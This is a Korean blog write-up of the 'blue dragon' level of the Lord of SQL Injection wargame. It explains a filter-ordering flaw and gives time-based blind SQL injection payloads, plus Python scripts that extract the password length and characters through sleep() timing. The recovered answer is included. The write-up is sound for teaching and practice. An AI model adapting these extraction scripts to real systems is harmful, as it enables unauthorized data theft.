ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Lord of SQL Injection> blue dragon
    Wargame/Lord of SQL Injection 2021. 11. 29. 13:30

    blue dragon

    GET 방식으로 전달받은 id와 pw에서 prob, _, .을 필터링한다.

    $query의 결과를 $result 배열에 저장한다. 이 $result['id']의 값이 있으면 "Hello admin"을 출력한다.

    그 뒤, 전달받은 id와 pw에 싱글 쿼터('), '\'를 필터링한다.

    두 번째 $query의 결과를 $result 배열에 저장하고 $result['pw']의 값이 전달한 pw와 값이 같으면 문제가 풀린다.

     

    앞의 문제 처럼 한 줄 주석을 사용해서 먼저 풀어보았다.

    ?id=admin%23&pw=%0a을 입력해서 쿼리를

    select id from prob_blue_dragon where id='admin#' and pw='

    '

    의 형태로 만들어 보면

    아무것도 출력하지 않는다.

     

    필터링을 한 번에 하지않고, 두 번에 나누어 하는 것에 집중했다.

    처음 필터링에서 싱글 쿼터(')를 필터링하지 않고, 쿼리를 출력한다.

    이를 이용하여

    ?id=' or if(length(pw)>pw의 길이, sleep(3), 0)을 입력하면

    "No Hack ~_~"을 출력하지만, exit()이 실행되기 전에 쿼리를 출력하는데 if문이 참이면 쿼리를 출력하는데 3초 이상이 걸린다. 

    파이썬 코드를 이용해서 pw의 길이를 구해보면

    import requests
    import time
    
    baseurl = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
    cookies = {"PHPSESSID" : "PHPSESSID 값"}
    
    for i in range(1, 100):
        url = baseurl + "?id=' and if(length(pw)={}, sleep(3), 0)%23".format(i)
        start = time.time()
        res = requests.get(url=url, cookies=cookies)
        end = time.time()
    
        if end - start > 3:
            print("pw_length : ", i)
            break

    pw의 길이가 8인 것을 확인할 수 있다.

     

    이제 pw의 첫 글자를 찾기위해

    ?id=admin' and if(ascii(substr(pw,1,1))=100, sleep(3), 0)%23을 입력하면

    3초 이상이 걸린다.

     

    파이썬 코드로 나머지 글자들도 찾아보면

    import requests
    import time
    
    baseurl = "https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php"
    cookies = {"PHPSESSID" : "PHPSESSID 값"}
    pw = ""
    
    for i in range(1, 9):
        for j in range(33, 127):
            url = baseurl + "?id=admin' and if(ascii(substr(pw,{},1))={}, sleep(3), 0)%23".format(i, j)
            start = time.time()
            res = requests.get(url=url, cookies=cookies)
            end = time.time()
    
            if end - start > 3:
                pw += chr(j)
                print("pw : ", pw)
                break
    print("pw : ", pw)

    두 번째 쿼리에 id는 'admin'으로 고정되어 있기 때문에

    ?pw=d948b8a0를 입력하면

    문제를 해결할 수 있다.

Designed by Tistory.